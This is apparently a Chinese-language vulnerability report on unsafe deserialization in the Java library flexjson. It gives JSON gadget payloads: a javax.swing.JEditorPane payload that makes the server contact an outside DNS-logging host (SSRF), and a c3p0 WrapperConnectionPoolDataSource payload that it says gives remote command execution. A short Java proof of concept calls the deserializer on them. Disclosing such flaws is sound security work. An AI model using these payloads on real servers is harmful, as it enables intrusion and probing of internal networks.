flexjson 在反序列化时,flexjson自身没有任何控制,可以导致,客户端构造任意类型的序列化json数据,导致服务端反序列化时,触发恶意类的初始化,威胁服务端安全,如下例子 使用javax.swing.JEditorPane 类,通过其page属性的初始化,可以进行任意url嗅探,同样的可以利用
String json5 = “{“class”:“javax.swing.JEditorPane”,“page”:“http://ddd.wanghao723.ns.dnsl0g.cn/”}”;
如下json2字符串,利用com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,攻击者可以直接进行远程命令
String json2 = "{“class”:“com.mchange.v2.c3p0.WrapperConnectionPoolDataSource”,“userOverridesAsString”:“HexAsciiSerializedMap:xxxx”}
javax.swing.JEditorPane 的ssrf利用效果
import flexjson.JSONDeserializer;
public static void main(String[] args) {
final JSONDeserializer<Object> objectJSONDeserializer = new JSONDeserializer<>();
String json2 = "{\"class\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:xxxx\"}
String json5 = "{\"class\":\"javax.swing.JEditorPane\",\"page\":\"http://ddd.wanghao723.ns.dnsl0g.cn/\"}";
objectJSONDeserializer.deserialize(json5);
}
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。 SSRF攻击通常针对外部网络无法直接访问的内部系统。